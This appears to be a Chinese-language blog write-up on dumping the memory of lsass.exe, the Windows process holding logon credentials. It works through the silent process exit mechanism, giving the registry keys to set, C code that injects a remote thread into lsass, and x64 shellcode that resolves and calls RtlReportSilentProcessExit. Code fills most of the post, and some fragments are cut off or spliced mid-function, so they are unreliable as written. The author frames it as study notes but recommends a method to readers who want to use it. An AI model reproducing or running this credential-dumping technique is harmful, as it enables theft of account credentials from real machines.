静默退出 DUMP LSASS.EXE

RtlReportSilentProcessExit dump Lsass.exe

最近学习了一下dump Lsass.exe的方法，看到了一种没见过的

调用RtlReportSilentProcessExit静默退出dump内存

0x01 原理

  1. 修改注册表，配置dump保存路径这些
  2. 通过RtlReportSilentProcessExit告诉系统正在执行静默退出，但是实际上不会退出

先看一下注册表需要配置什么

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\

需要在上面的注册表内新建项，这个项的名字需要和进程同名，需要dump lsass.exe就需要创建

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
-GlobalFlag         0x200           启用静默进程退出监测
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
-DumpType           0x02        dump内存的类型
-LocalDumpFolder    c:\temp     这是dump后保存的地址
-ReportingMode      0x02        退出执行的操作


还有启动的值


msdn的地址贴在最后

下面就可以开始写代码了

RtlReportSilentProcessExit可以外部调用也可以通过线程注入到进程内存中，这次着重写线程注入的方法

修改注册表->开启DEBUG权限->遍历LSASS.EXE pid->得到RtlReportSilentProcessExit函数指针->执行RtlReportSilentProcessExit静默退出

最后会在指定的目录下生成一个文件夹，存放dump的内存

但是用这个方法会出现


把执行的进程也dump出来，问题是不大就是有点不美观

所以想尝试线程注入的方式

0x03 线程注入

ThreadProc

之前写线程注入的时候写过，CreateRemoteThread第四个参数是函数，第五个参数是函数的参数

注意使用CreateThread创建线程的时候可以直接使用函数

使用CreateRemoteThread需要传入函数指针调用函数

#include<stdio.h>
#include<Windows.h>
#include<tlhelp32.h>
#include "shlwapi.h"

    RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit;    //取出函数指针
    RtlReportSilentProcessExit(pRP->GCP, 0);        //调用函数

    return 0;
}

DWORD getPidByName(PCWCHAR procName) {              //获取进程PID

    HANDLE hProcSnapshot;
    DWORD retPid = -1;
    hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe;

    if (INVALID_HANDLE_VALUE == hProcSnapshot) {

            retPid = pe.th32ProcessID;

    DWORD dwSize = 4096;
    PCWCHAR targetProcName = L"lsass.exe";
    int pid = getPidByName(targetProcName);
    HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

    //把ThreadProcx写入内存
    LPVOID base_address = VirtualAllocEx(notepad, 0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("function_address: %p\n", base_address);
    BOOL res = WriteProcessMemory(notepad, base_address, &threadProc, dwSize, 0);

​    
   //获取函数地址和参数，传到结构里面并写入注入进程的内存
​    RtlReportParam RtlReportParamData;
​    ZeroMemory(&RtlReportParamData, sizeof(RtlReportParam));
​    RtlReportParamData.dwRtlReportSilentProcessExit = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlReportSilentProcessExit");

    ResumeThread(hRemoteThread);
}

这里没写注册表，就是个测试文件，但是很不稳定所以就想写个shellcode这样函数的调用会很清楚

编写64位shellcode

以前写过32位的shellcode，其实差不多，需要注意的是64位的指针是八个字节的

VisualStudio x64汇编

VistualStudio x64不支持__asm，需要配置一下才能执行汇编

右键项目->生成依赖项->生成自定义

勾选masm，新建一个asm文件，就可以开始写汇编了

写完之后需要在cpp文件里面声明函数，函数名要和汇编内一样

#include<stdio.h>
extern "C" void func();
int main() {
    func();
    return 0;
}

现在就可以开始编写shellcode了

64位shellcode

在64位中指针有8个字节，所以有些偏移需要改一下

下面是汇编文件

.DATA       ;数据段
.CODE       ;代码段
func PROC   ;定义函数，函数名和cpp文件内声明函数一样
mov rdx,gs:[60h]            ;64位PEB地址
mov rbx, [rdx+18h]          ;Ldr
mov rsi, [rbx+28h]          ;InMemoryOrderModuleList
mov rsi,[rsi]               
mov rsi,[rsi]
mov rsi,[rsi]               ;找到ntdll.dll的LDR_DATA_TABLE_ENTRY
mov rbx, [rsi+20h]          ;ntdll.dll的基址
mov edx, [rbx+3Ch]          ;e_lfanew偏移
add rdx, rbx                ;e_lfanew
mov edx, [rdx+88h]          ;VirtualAddress偏移
add rdx, rbx                ;VirtualAddress
mov esi, [rdx+20h]          ;AddressOfNames偏移
add rsi, rbx                ;AddressOfNames
xor rcx,rcx                 ;rcx置零

Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 526c7452h
jnz Get_Function
cmp dword ptr [rax+4], 726f7065h
jnz Get_Function
cmp dword ptr [rax+8], 6c695374h
jnz Get_Function                
;找到RtlReportSilentProcessExit名称地址

mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx

;这里都和32位差不多

mov rcx, -1         ;-1代表当前进程句柄，因为需要注入到进程在那个进程就是当前进程
mov rdx, 0          ;第二个参数
call rbx            ;执行RtlReportSilentProcessExit
ret 
func ENDP;
END

    pid = getPidByName(targetProcName);
    if (-1 == pid) {
        printf(" - 获取目标进程pid: %#X\n", pid);
        return 1;
    }
    printf("[+]获取目标PID: %#X\n", pid);

    hLsassProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    if (!hLsassProc) {
        printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
        return -1;
    }
    printf("[+]获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);

    LPVOID base_address = VirtualAllocEx(hLsassProc, 0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (base_address == 0) {
        printf("[-]获取地址失败 ERRORCODE: %d", GetLastError());
        return -1;
    }
    printf("[+]获取地址成功: %p\n", base_address);
    BOOL res = WriteProcessMemory(hLsassProc, base_address, &sc, sizeof(sc), 0);
    if (!res) {
        printf("[-]写入函数失败\n");
        return -1;
    }
    printf("[+]写入函数成功\n[+]function_address: %p\n", base_address);

    DWORD ID;
    HANDLE ThreadHandle = CreateRemoteThread(hLsassProc, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &ID);
    if (ThreadHandle) {
        printf("[+]ThreadInject Success\n");
        ResumeThread(ThreadHandle);

    }
    printf("[+]dump文件在c:\\windows\\temp\\lsass-*\\");
    return 0;
}

这样就可以用了，线程注入需要写入注册表后重启电脑才可以使用，虽然dump出的内存文件只有LSASS.EXE，很明显没有外部调用稳定

还有杀软强一点可能就不能注入了

这篇文章主要还是记一下过程，各位师傅真的要用还是用外部调用吧
